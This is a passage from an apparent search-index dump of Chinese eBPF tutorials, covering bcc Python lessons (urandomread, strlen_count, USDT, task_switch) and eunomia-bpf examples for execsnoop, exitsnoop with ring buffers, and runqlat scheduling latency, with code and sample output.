dd if=/dev/urandom of=/dev/null bs=8k count=5 时进行跟踪： # urandomread.py\nTIME(s) COMM PID GOTBITS\n24652832.956994001 smtp 24690 384\n24652837.726500999 dd 24692 65536\n24652837.727111001 dd 24692 65536\n24652837.727703001 dd 24692 65536\n24652837.728294998 dd 24692 65536\n24652837.728888001 dd 24692 65536 哈！我意外地捕捉到了 smtp。代码在 examples/tracing/urandomread.py 中： from __future__ import print_function\".```python\nfrom bcc import BPF # 加载BPF程序\nb = BPF(text=\"\"\"\nTRACEPOINT_PROBE(random, urandom_read) { // args is from /sys/kernel/debug/tracing/events/random/urandom_read/format bpf_trace_printk(\"%d\\\\n\", args->got_bits); return 0;\n}\n\"\"\") # header\nprint(\"%-18s %-16s %-6s %s\" % (\"TIME(s)\", \"COMM\", \"PID\", \"GOTBITS\")) # format output\nwhile 1: try: (task, pid, cpu, flags, ts, msg) = b.trace_fields() except ValueError: continue print(\"%-18.9f %-16s %-6d %s\" % (ts, task, pid, msg)) 要学到的东西： TRACEPOINT_PROBE(random, urandom_read): 对内核跟踪点 random:urandom_read 进行注入。这些具有稳定的API，因此在可能的情况下建议使用它们来代替kprobe。您可以运行 perf list 来获取跟踪点列表。至少需要 Linux 版本 4.7 来将 BPF 程序附加到跟踪点上。 args->got_bits: args 是自动填充的跟踪点参数结构。上面的注释指出了可以查看这个结构的位置。例如： # cat /sys/kernel/debug/tracing/events/random/urandom_read/format\nname: urandom_read\nID: 972\nformat: field:unsigned short common_type; offset:0; size:2; signed:0; field:unsigned char common_flags; offset:2; size:1; signed:0; field:unsigned char common_preempt_count; offset:3; size:1; signed:0; field:int common_pid; offset:4; size:4; signed:1; field:int got_bits; offset:8; size:4; signed:1; field:int pool_left; offset:12; size:4; signed:1; field:int input_left; offset:16; size:4; signed:1; print fmt: \"got_bits %d nonblocking_pool_entropy_left %d input_entropy_left %d\", REC->got_bits, REC->pool_left, REC->input_left 在这种情况下，我们正在打印 got_bits 成员。","breadcrumbs":"bcc Python Developer Tutorial » Lesson 12. urandomread.py","id":"384","title":"Lesson 12. urandomread.py"},"385":{"body":"将上一课的 disksnoop.py 修改为使用 block:block_rq_issue 和 block:block_rq_complete 跟踪点。","breadcrumbs":"bcc Python Developer Tutorial » 第13课. disksnoop.py已修复","id":"385","title":"第13课. disksnoop.py已修复"},"386":{"body":"这个程序对用户级函数进行插桩，其中包括 strlen() 库函数，并对其字符串参数进行频率统计。例如输出 # strlen_count.py\n跟踪 strlen()... 按 Ctrl-C 结束。\n^C 数量 字符串 1 \" \" 1 \"/bin/ls\" 1 \".\" 1 \"cpudist.py.1\" 1 \".bashrc\" 1 \"ls --color=auto\" 1 \"key_t\"\n[...] 10 \"a7:~# \" 10 \"/root\" 12 \"LC_ALL\" 12 \"en_US.UTF-8\" 13 \"en_US.UTF-8\" 20 \"~\" 70 \"#%^,~:-=?+/}\" 340 \"\\x01\\x1b]0;root@bgregg-test: ~\\x07\\x02root@bgregg-test:~# \" 这些是在跟踪时由此库函数处理的各种字符串以及它们的频率计数。例如，\"LC_ALL\" 被调用了12次。 代码在 examples/tracing/strlen_count.py 中： from __future__ import print_function\nfrom bcc import BPF\nfrom time import sleep # 载入 BPF 程序\nb = BPF(text=\"\"\"\n#include  struct key_t { char c[80];\n};\nBPF_HASH(counts, struct key_t); int count(struct pt_regs *ctx) { if (!PT_REGS_PARM1(ctx)) return 0; struct key_t key = {}; u64 zero = 0, *val; bpf_probe_read_user(&key.c, sizeof(key.c), (void *)PT_REGS_PARM1(ctx)); // 也可以使用 `counts.increment(key)` val = counts.lookup_or_try_init(&key, &zero); if (val) { (*val)++; } return 0;\n};\n\"\"\")\nb.attach_uprobe(name=\"c\", sym=\"strlen\", fn_name=\"count\") # 头部\nprint(\"跟踪 strlen()... 按 Ctrl-C 结束。\") # 睡眠直到按下 Ctrl-C\ntry: sleep(99999999)\nexcept KeyboardInterrupt: pass # 打印输出\nprint(\"%10s %s\" % (\"数量\", \"字符串\"))\ncounts = b.get_table(\"counts\")\nfor k, v in sorted(counts.items(), key=lambda counts: counts[1].value): print(\"%10d \\\"%s\\\"\" % (v.value, k.c.encode('string-escape'))) 要学习的内容：1. PT_REGS_PARM1(ctx): 这个参数会获取传递给 strlen() 的第一个参数，也就是字符串。 b.attach_uprobe(name=\"c\", sym=\"strlen\", fn_name=\"count\"): 附加到库 \"c\"（如果这是主程序，则使用其路径名），对用户级函数 strlen() 进行插装，并在执行时调用我们的 C 函数 count()。","breadcrumbs":"bcc Python Developer Tutorial » 第14课. strlen_count.py.","id":"386","title":"第14课. strlen_count.py."},"387":{"body":"本程序会对用户静态定义的跟踪 (USDT) 探测点进行插装，这是内核跟踪点的用户级版本。示例输出： # nodejs_http_server.py 24728\nTIME(s) COMM PID ARGS\n24653324.561322998 node 24728 path:/index.html\n24653335.343401998 node 24728 path:/images/welcome.png\n24653340.510164998 node 24728 path:/images/favicon.png 来自 examples/tracing/nodejs_http_server.py 的相关代码： from __future__ import print_function\nfrom bcc import BPF, USDT\nimport sys if len(sys.argv) < 2: print(\"USAGE: nodejs_http_server PID\") exit()\npid = sys.argv[1]\ndebug = 0 # load BPF program\nbpf_text = \"\"\"\n#include \nint do_trace(struct pt_regs *ctx) { uint64_t addr; char path[128]={0}; bpf_usdt_readarg(6, ctx, &addr); bpf_probe_read_user(&path, sizeof(path), (void *)addr); bpf_trace_printk(\"path:%s\\\\n\", path); return 0;\n};\n\"\"\" # enable USDT probe from given PID\nu = USDT(pid=int(pid))\nu.enable_probe(probe=\"http__server__request\", fn_name=\"do_trace\")\nif debug: print(u.get_text()) print(bpf_text) # initialize BPF\nb = BPF(text=bpf_text, usdt_contexts=[u]) 学习内容： bpf_usdt_readarg(6, ctx, &addr): 从 USDT 探测点中读取参数 6 的地址到 addr。 bpf_probe_read_user(&path, sizeof(path), (void *)addr): 现在字符串 addr 指向我们的 path 变量。 u = USDT(pid=int(pid)): 为给定的 PID 初始化 USDT 跟踪。1. u.enable_probe(probe=\"http__server__request\", fn_name=\"do_trace\"): 将我们的 do_trace() BPF C 函数附加到 Node.js 的 http__server__request USDT 探针。 b = BPF(text=bpf_text, usdt_contexts=[u]): 需要将我们的 USDT 对象 u 传递给 BPF 对象的创建。","breadcrumbs":"bcc Python Developer Tutorial » 第15课。nodejs_http_server.py","id":"387","title":"第15课。nodejs_http_server.py"},"388":{"body":"这是一个早期的教程，作为额外的课程包含其中。用它来复习和加深你已经学到的内容。 这是一个比 Hello World 更复杂的示例程序。该程序将在内核中每次任务切换时被调用，并在一个 BPF 映射中记录新旧进程的 pid。 下面的 C 程序引入了一个新的概念：prev 参数。BCC 前端会特殊处理这个参数，从而使得对这个变量的访问从由 kprobe 基础设施传递的保存上下文中进行读取。从位置1开始的参数的原型应该与被 kprobed 的内核函数的原型匹配。如果这样做，程序就可以无缝访问函数参数。 #include \n#include  struct key_t { u32 prev_pid; u32 curr_pid;\n}; BPF_HASH(stats, struct key_t, u64, 1024);\nint count_sched(struct pt_regs *ctx, struct task_struct *prev) { struct key_t key = {}; u64 zero = 0, *val; key.curr_pid = bpf_get_current_pid_tgid(); key.prev_pid = prev->pid; // could also use `stats.increment(key);` val = stats.lookup_or_try_init(&key, &zero); if (val) { (*val)++; } return 0;\n} 用户空间组件加载上面显示的文件，并将其附加到 finish_task_switch 内核函数上。 BPF 对象的 [] 运算符允许访问程序中的每个 BPF_HASH，允许对内核中的值进行通行访问。可以像使用任何其他 python dict 对象一样使用该对象：读取、更新和删除操作都是允许的。 from bcc import BPF\nfrom time import sleep b = BPF(src_file=\"task_switch.c\")\".```markdown\n```Chinese\nb.attach_kprobe(event=\"finish_task_switch\", fn_name=\"count_sched\") # 生成多个调度事件\nfor i in range(0, 100): sleep(0.01) for k, v in b[\"stats\"].items(): print(\"task_switch[%5d->%5d]=%u\" % (k.prev_pid, k.curr_pid, v.value)) 这些程序可以在文件 examples/tracing/task_switch.c 和 examples/tracing/task_switch.py 中找到。","breadcrumbs":"bcc Python Developer Tutorial » 第16课. task_switch.c","id":"388","title":"第16课. task_switch.c"},"389":{"body":"要进行进一步研究，请参阅 Sasha Goldshtein 的 linux-tracing-workshop ，其中包含了额外的实验。bcc/tools 中还有许多工具可供研究。 如果您希望为 bcc 贡献工具，请阅读 CONTRIBUTING-SCRIPTS.md 。在主要的 README.md 的底部，您还会找到与我们联系的方法。祝您好运，祝您成功追踪！","breadcrumbs":"bcc Python Developer Tutorial » 第17课. 进一步研究","id":"389","title":"第17课. 进一步研究"},"39":{"body":"本文主要介绍如何实现一个 eBPF 工具，捕获进程发送信号的系统调用集合，使用 hash map 保存状态。使用 hash map 需要定义一个结构体： struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, __u32); __type(value, struct event);\n} values SEC(\".maps\"); 并使用一些对应的 API 进行访问，例如 bpf_map_lookup_elem、bpf_map_update_elem、bpf_map_delete_elem 等。 更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"捕获进程发送信号的系统调用集合，使用 hash map 保存状态 » 总结","id":"39","title":"总结"},"390":{"body":"TODO","breadcrumbs":"bcc Python Developer Tutorial » 网络","id":"390","title":"网络"},"4":{"body":"Google 或者其他搜索引擎查找：eBPF 询问 ChatGPT 之类的东西：eBPF 是什么？ 推荐： 阅读 ebpf 简介： https://ebpf.io/ （30min） 简要了解一下 ebpf 内核相关文档： https://prototype-kernel.readthedocs.io/en/latest/bpf/ （知道有问题去哪里查询，30min） 阅读 ebpf 中文入门指南： https://www.modb.pro/db/391570 （1h） 有大量的参考资料： https://github.com/zoidbergwill/awesome-ebpf （2-3h） 可以选自己感兴趣的 PPT 翻一翻： https://github.com/gojue/ebpf-slide （1-2h） 回答三个问题： 了解 eBPF 是什么东西？为啥要有这个玩意，不能用内核模块？ 它有什么功能？能在 Linux 内核里面完成哪些事情？有哪些 eBPF 程序的类型和 helper（不需要知道全部，但是需要知道去哪里找）？ 能拿来做什么？比如说在哪些场景中进行运用？网络、安全、可观测性？","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » eBPF 入门（5-7h）","id":"4","title":"eBPF 入门（5-7h）"},"40":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具，它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第七篇，主要介绍如何捕获 Linux 内核中进程执行的事件，并且通过 perf event array 向用户态命令行打印输出，不需要再通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出。通过 perf event array 向用户态发送信息之后，可以进行复杂的数据处理和分析。","breadcrumbs":"捕获进程执行/退出时间，通过 perf event array 向用户态打印输出 » eBPF 入门实践教程七：捕获进程执行事件，通过 perf event array 向用户态打印输出","id":"40","title":"eBPF 入门实践教程七：捕获进程执行事件，通过 perf event array 向用户态打印输出"},"41":{"body":"eBPF 提供了两个环形缓冲区，可以用来将信息从 eBPF 程序传输到用户区控制器。第一个是perf环形缓冲区，，它至少从内核v4.15开始就存在了。第二个是后来引入的 BPF 环形缓冲区。本文只考虑perf环形缓冲区。","breadcrumbs":"捕获进程执行/退出时间，通过 perf event array 向用户态打印输出 » perf buffer","id":"41","title":"perf buffer"},"42":{"body":"通过 perf event array 向用户态命令行打印输出，需要编写一个头文件，一个 C 源文件。示例代码如下： 头文件：execsnoop.h #ifndef __EXECSNOOP_H\n#define __EXECSNOOP_H #define TASK_COMM_LEN 16 struct event { int pid; int ppid; int uid; int retval; bool is_exit; char comm[TASK_COMM_LEN];\n}; #endif /* __EXECSNOOP_H */ 源文件：execsnoop.bpf.c // SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause)\n#include \n#include \n#include \n#include \"execsnoop.h\" struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __uint(key_size, sizeof(u32)); __uint(value_size, sizeof(u32));\n} events SEC(\".maps\"); SEC(\"tracepoint/syscalls/sys_enter_execve\")\nint tracepoint__syscalls__sys_enter_execve(struct trace_event_raw_sys_enter* ctx)\n{ u64 id; pid_t pid, tgid; struct event event={0}; struct task_struct *task; uid_t uid = (u32)bpf_get_current_uid_gid(); id = bpf_get_current_pid_tgid(); tgid = id >> 32; event.pid = tgid; event.uid = uid; task = (struct task_struct*)bpf_get_current_task(); event.ppid = BPF_CORE_READ(task, real_parent, tgid); char *cmd_ptr = (char *) BPF_CORE_READ(ctx, args[0]); bpf_probe_read_str(&event.comm, sizeof(event.comm), cmd_ptr); bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event)); return 0;\n} char LICENSE[] SEC(\"license\") = \"GPL\"; 这段代码定义了个 eBPF 程序，用于捕获进程执行 execve 系统调用的入口。 在入口程序中，我们首先获取了当前进程的进程 ID 和用户 ID，然后通过 bpf_get_current_task 函数获取了当前进程的 task_struct 结构体，并通过 bpf_probe_read_str 函数读取了进程名称。最后，我们通过 bpf_perf_event_output 函数将进程执行事件输出到 perf buffer。 使用这段代码，我们就可以捕获 Linux 内核中进程执行的事件, 并分析进程的执行情况。 eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 使用容器编译： docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或者使用 ecc 编译： ecc execsnoop.bpf.c execsnoop.h 运行 $ sudo ./ecli run package.json TIME PID PPID UID COMM 21:28:30 40747 3517 1000 node\n21:28:30 40748 40747 1000 sh\n21:28:30 40749 3517 1000 node\n21:28:30 40750 40749 1000 sh\n21:28:30 40751 3517 1000 node\n21:28:30 40752 40751 1000 sh\n21:28:30 40753 40752 1000 cpuUsage.sh","breadcrumbs":"捕获进程执行/退出时间，通过 perf event array 向用户态打印输出 » execsnoop","id":"42","title":"execsnoop"},"43":{"body":"本文介绍了如何捕获 Linux 内核中进程执行的事件，并且通过 perf event array 向用户态命令行打印输出，通过 perf event array 向用户态发送信息之后，可以进行复杂的数据处理和分析。在 libbpf 对应的内核态代码中，定义这样一个结构体和对应的头文件： struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __uint(key_size, sizeof(u32)); __uint(value_size, sizeof(u32));\n} events SEC(\".maps\"); 就可以往用户态直接发送信息。 更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"捕获进程执行/退出时间，通过 perf event array 向用户态打印输出 » 总结","id":"43","title":"总结"},"44":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第八篇，在 eBPF 中使用 exitsnoop 监控进程退出事件。","breadcrumbs":"使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出 » eBPF 入门开发实践教程八：在 eBPF 中使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出","id":"44","title":"eBPF 入门开发实践教程八：在 eBPF 中使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出"},"45":{"body":"现在有一个新的 BPF 数据结构可用，eBPF 环形缓冲区（ring buffer）。它解决了 BPF perf buffer（当今从内核向用户空间发送数据的事实上的标准）的内存效率和事件重排问题，同时达到或超过了它的性能。它既提供了与 perf buffer 兼容以方便迁移，又有新的保留/提交API，具有更好的可用性。另外，合成和真实世界的基准测试表明，在几乎所有的情况下，所以考虑将其作为从BPF程序向用户空间发送数据的默认选择。","breadcrumbs":"使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出 » ring buffer","id":"45","title":"ring buffer"},"46":{"body":"只要 BPF 程序需要将收集到的数据发送到用户空间进行后处理和记录，它通常会使用 BPF perf buffer（perfbuf）来实现。Perfbuf 是每个CPU循环缓冲区的集合，它允许在内核和用户空间之间有效地交换数据。它在实践中效果很好，但由于其按CPU设计，它有两个主要的缺点，在实践中被证明是不方便的：内存的低效使用和事件的重新排序。 为了解决这些问题，从Linux 5.8开始，BPF提供了一个新的BPF数据结构（BPF map）。BPF环形缓冲区（ringbuf）。它是一个多生产者、单消费者（MPSC）队列，可以同时在多个CPU上安全共享。 BPF ringbuf 支持来自 BPF perfbuf 的熟悉的功能: 变长的数据记录。 能够通过内存映射区域有效地从用户空间读取数据，而不需要额外的内存拷贝和/或进入内核的系统调用。 既支持epoll通知，又能以绝对最小的延迟进行忙环操作。 同时，BPF ringbuf解决了BPF perfbuf的以下问题: 内存开销。 数据排序。 浪费的工作和额外的数据复制。","breadcrumbs":"使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出 » eBPF ringbuf vs eBPF perfbuf","id":"46","title":"eBPF ringbuf vs eBPF perfbuf"},"47":{"body":"本文是 eBPF 入门开发实践教程的第八篇，在 eBPF 中使用 exitsnoop 监控进程退出事件，并使用 ring buffer 向用户态打印输出。 使用 ring buffer 向用户态打印输出的步骤和 perf buffer 类似，首先需要定义一个头文件： 头文件：exitsnoop.h #ifndef __BOOTSTRAP_H\n#define __BOOTSTRAP_H #define TASK_COMM_LEN 16\n#define MAX_FILENAME_LEN 127 struct event { int pid; int ppid; unsigned exit_code; unsigned long long duration_ns; char comm[TASK_COMM_LEN];\n}; #endif /* __BOOTSTRAP_H */ 源文件：exitsnoop.bpf.c #include \"vmlinux.h\"\n#include \n#include \n#include \n#include \"exitsnoop.h\" char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; struct { __uint(type, BPF_MAP_TYPE_RINGBUF); __uint(max_entries, 256 * 1024);\n} rb SEC(\".maps\"); SEC(\"tp/sched/sched_process_exit\")\nint handle_exit(struct trace_event_raw_sched_process_template* ctx)\n{ struct task_struct *task; struct event *e; pid_t pid, tid; u64 id, ts, *start_ts, start_time = 0; /* get PID and TID of exiting thread/process */ id = bpf_get_current_pid_tgid(); pid = id >> 32; tid = (u32)id; /* ignore thread exits */ if (pid != tid) return 0; /* reserve sample from BPF ringbuf */ e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (!e) return 0; /* fill out the sample with data */ task = (struct task_struct *)bpf_get_current_task(); start_time = BPF_CORE_READ(task, start_time); e->duration_ns = bpf_ktime_get_ns() - start_time; e->pid = pid; e->ppid = BPF_CORE_READ(task, real_parent, tgid); e->exit_code = (BPF_CORE_READ(task, exit_code) >> 8) & 0xff; bpf_get_current_comm(&e->comm, sizeof(e->comm)); /* send data to user-space for post-processing */ bpf_ringbuf_submit(e, 0); return 0;\n} 这段代码展示了如何使用 exitsnoop 监控进程退出事件并使用 ring buffer 向用户态打印输出： 首先，我们引入所需的头文件和 exitsnoop.h。 定义一个名为 \"LICENSE\" 的全局变量，内容为 \"Dual BSD/GPL\"，这是 eBPF 程序的许可证要求。 定义一个名为 rb 的 BPF_MAP_TYPE_RINGBUF 类型的映射，它将用于将内核空间的数据传输到用户空间。指定 max_entries 为 256 * 1024，代表 ring buffer 的最大容量。 定义一个名为 handle_exit 的 eBPF 程序，它将在进程退出事件触发时执行。传入一个名为 ctx 的 trace_event_raw_sched_process_template 结构体指针作为参数。 使用 bpf_get_current_pid_tgid() 函数获取当前任务的 PID 和 TID。对于主线程，PID 和 TID 相同；对于子线程，它们是不同的。我们只关心进程（主线程）的退出，因此在 PID 和 TID 不同时返回 0，忽略子线程退出事件。 使用 bpf_ringbuf_reserve 函数为事件结构体 e 在 ring buffer 中预留空间。如果预留失败，返回 0。 使用 bpf_get_current_task() 函数获取当前任务的 task_struct 结构指针。 将进程相关信息填充到预留的事件结构体 e 中，包括进程持续时间、PID、PPID、退出代码以及进程名称。 最后，使用 bpf_ringbuf_submit 函数将填充好的事件结构体 e 提交到 ring buffer，之后在用户空间进行处理和输出。 这个示例展示了如何使用 exitsnoop 和 ring buffer 在 eBPF 程序中捕获进程退出事件并将相关信息传输到用户空间。这对于分析进程退出原因和监控系统行为非常有用。","breadcrumbs":"使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出 » exitsnoop","id":"47","title":"exitsnoop"},"48":{"body":"eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 Compile: docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest Or $ ecc exitsnoop.bpf.c exitsnoop.h\nCompiling bpf object...\nGenerating export types...\nPacking ebpf object and config into package.json... Run: $ sudo ./ecli run package.json TIME PID PPID EXIT_CODE DURATION_NS COMM 21:40:09 42050 42049 0 0 which\n21:40:09 42049 3517 0 0 sh\n21:40:09 42052 42051 0 0 ps\n21:40:09 42051 3517 0 0 sh\n21:40:09 42055 42054 0 0 sed\n21:40:09 42056 42054 0 0 cat\n21:40:09 42057 42054 0 0 cat\n21:40:09 42058 42054 0 0 cat\n21:40:09 42059 42054 0 0 cat","breadcrumbs":"使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出 » Compile and Run","id":"48","title":"Compile and Run"},"49":{"body":"本文介绍了如何使用 eunomia-bpf 开发一个简单的 BPF 程序，该程序可以监控 Linux 系统中的进程退出事件, 并将捕获的事件通过 ring buffer 发送给用户空间程序。在本文中，我们使用 eunomia-bpf 编译运行了这个例子。 为了更好地理解和实践 eBPF 编程，我们建议您阅读 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 。此外，我们还为您提供了完整的教程和源代码，您可以在 https://github.com/eunomia-bpf/bpf-developer-tutorial 中查看和学习。希望本教程能够帮助您顺利入门 eBPF 开发，并为您的进一步学习和实践提供有益的参考。","breadcrumbs":"使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出 » 总结","id":"49","title":"总结"},"5":{"body":"了解并尝试一下 eBPF 开发框架： BCC 开发各类小工具的例子： https://github.com/iovisor/bcc/blob/master/docs/tutorial_bcc_python_developer.md （跑一遍，3-4h） libbpf 的一些例子： https://github.com/libbpf/libbpf-bootstrap （选感兴趣的运行一下，并阅读一下源代码，2h） 基于 libbpf 和 eunomia-bpf 的教程： https://github.com/eunomia-bpf/bpf-developer-tutorial （阅读 1-10 的部分，3-4h） 其他开发框架：Go 语言或者 Rust 语言，请自行搜索并且尝试（0-2h） 有任何问题或者想了解的东西，不管是不是和本项目相关，都可以在本项目的 discussions 里面开始讨论。 回答一些问题，并且进行一些尝试（2-5h）： 如何开发一个最简单的 eBPF 程序？ 如何用 eBPF 追踪一个内核功能或函数？有很多种方法，举出对应的代码； 有哪些方案能通过用户态和内核态通信？如何从用户态向内核态传送信息？如何从内核态向用户态传递信息？举出代码示例； 编写一个你自己的 eBPF 程序，实现一个功能； eBPF 程序的整个生命周期里面，分别在用户态和内核态做了哪些事情？","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » 了解如何开发 eBPF 程序（10-15h）","id":"5","title":"了解如何开发 eBPF 程序（10-15h）"},"50":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 runqlat 是一个 eBPF 工具，用于分析 Linux 系统的调度性能。具体来说，runqlat 用于测量一个任务在被调度到 CPU 上运行之前在运行队列中等待的时间。这些信息对于识别性能瓶颈和提高 Linux 内核调度算法的整体效率非常有用。","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » eBPF 入门开发实践教程九：捕获进程调度延迟，以直方图方式记录","id":"50","title":"eBPF 入门开发实践教程九：捕获进程调度延迟，以直方图方式记录"},"51":{"body":"本教程是 eBPF 入门开发实践系列的第九部分，主题是 \"捕获进程调度延迟\"。在此，我们将介绍一个名为 runqlat 的程序，其作用是以直方图的形式记录进程调度延迟。 Linux 操作系统使用进程来执行所有的系统和用户任务。这些进程可能被阻塞、杀死、运行，或者正在等待运行。处在后两种状态的进程数量决定了 CPU 运行队列的长度。 进程有几种可能的状态，如： 可运行或正在运行 可中断睡眠 不可中断睡眠 停止 僵尸进程 等待资源或其他函数信号的进程会处在可中断或不可中断的睡眠状态：进程被置入睡眠状态，直到它需要的资源变得可用。然后，根据睡眠的类型，进程可以转移到可运行状态，或者保持睡眠。 即使进程拥有它需要的所有资源，它也不会立即开始运行。它会转移到可运行状态，与其他处在相同状态的进程一起排队。CPU可以在接下来的几秒钟或毫秒内执行这些进程。调度器为 CPU 排列进程，并决定下一个要执行的进程。 根据系统的硬件配置，这个可运行队列（称为 CPU 运行队列）的长度可以短也可以长。短的运行队列长度表示 CPU 没有被充分利用。另一方面，如果运行队列长，那么可能意味着 CPU 不够强大，无法执行所有的进程，或者 CPU 的核心数量不足。在理想的 CPU 利用率下，运行队列的长度将等于系统中的核心数量。 进程调度延迟，也被称为 \"run queue latency\"，是衡量线程从变得可运行（例如，接收到中断，促使其处理更多工作）到实际在 CPU 上运行的时间。在 CPU 饱和的情况下，你可以想象线程必须等待其轮次。但在其他奇特的场景中，这也可能发生，而且在某些情况下，它可以通过调优减少，从而提高整个系统的性能。 我们将通过一个示例来阐述如何使用 runqlat 工具。这是一个负载非常重的系统： # runqlat\nTracing run queue latency... Hit Ctrl-C to end.\n^C usecs : count distribution 0 -> 1 : 233 |*********** | 2 -> 3 : 742 |************************************ | 4 -> 7 : 203 |********** | 8 -> 15 : 173 |******** | 16 -> 31 : 24 |* | 32 -> 63 : 0 | | 64 -> 127 : 30 |* | 128 -> 255 : 6 | | 256 -> 511 : 3 | | 512 -> 1023 : 5 | | 1024 -> 2047 : 27 |* | 2048 -> 4095 : 30 |* | 4096 -> 8191 : 20 | | 8192 -> 16383 : 29 |* | 16384 -> 32767 : 809 |****************************************| 32768 -> 65535 : 64 |*** | 在这个输出中，我们看到了一个双模分布，一个模在0到15微秒之间，另一个模在16到65毫秒之间。这些模式在分布（它仅仅是 \"count\" 列的视觉表示）中显示为尖峰。例如，读取一行：在追踪过程中，809个事件落入了16384到32767微秒的范围（16到32毫秒）。 在后续的教程中，我们将深入探讨如何利用 eBPF 对此类指标进行深度跟踪和分析，以更好地理解和优化系统性能。同时，我们也将学习更多关于 Linux 内核调度器、中断处理和 CPU 饱 runqlat 的实现利用了 eBPF 程序，它通过内核跟踪点和函数探针来测量进程在运行队列中的时间。当进程被排队时，trace_enqueue 函数会在一个映射中记录时间戳。当进程被调度到 CPU 上运行时，handle_switch 函数会检索时间戳，并计算当前时间与排队时间之间的时间差。这个差值（或 delta）被用于更新进程的直方图，该直方图记录运行队列延迟的分布。该直方图可用于分析 Linux 内核的调度性能。","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » runqlat 原理","id":"51","title":"runqlat 原理"},"52":{"body":"","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » runqlat 代码实现","id":"52","title":"runqlat 代码实现"},"53":{"body":"首先我们需要编写一个源代码文件 runqlat.bpf.c: // SPDX-License-Identifier: GPL-2.0\n// Copyright (c) 2020 Wenbo Zhang\n#include \n#include \n#include \n#include \n#include \"runqlat.h\"\n#include \"bits.bpf.h\"\n#include \"maps.bpf.h\"\n#include \"core_fixes.bpf.h\" #define MAX_ENTRIES 10240\n#define TASK_RUNNING 0 const volatile bool filter_cg = false;\nconst volatile bool targ_per_process = false;\nconst volatile bool targ_per_thread = false;\nconst volatile bool targ_per_pidns = false;\nconst volatile bool targ_ms = false;\nconst volatile pid_t targ_tgid = 0; struct { __uint(type, BPF_MAP_TYPE_CGROUP_ARRAY); __type(key, u32); __type(value, u32); __uint(max_entries, 1);\n} cgroup_map SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, u32); __type(value, u64);\n} start SEC(\".maps\"); static struct hist zero; /// @sample {\"interval\": 1000, \"type\" : \"log2_hist\"}\nstruct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, u32); __type(value, struct hist);\n} hists SEC(\".maps\"); static int trace_enqueue(u32 tgid, u32 pid)\n{ u64 ts; if (!pid) return 0; if (targ_tgid && targ_tgid != tgid) return 0; ts = bpf_ktime_get_ns(); bpf_map_update_elem(&start, &pid, &ts, BPF_ANY); return 0;\n} static unsigned int pid_namespace(struct task_struct *task)\n{ struct pid *pid; unsigned int level; struct upid upid; unsigned int inum; /* get the pid namespace by following task_active_pid_ns(), * pid->numbers[pid->level].ns */ pid = BPF_CORE_READ(task, thread_pid); level = BPF_CORE_READ(pid, level); bpf_core_read(&upid, sizeof(upid), &pid->numbers[level]); inum = BPF_CORE_READ(upid.ns, ns.inum); return inum;\n} static int handle_switch(bool preempt, struct task_struct *prev, struct task_struct *next)\n{ struct hist *histp; u64 *tsp, slot; u32 pid, 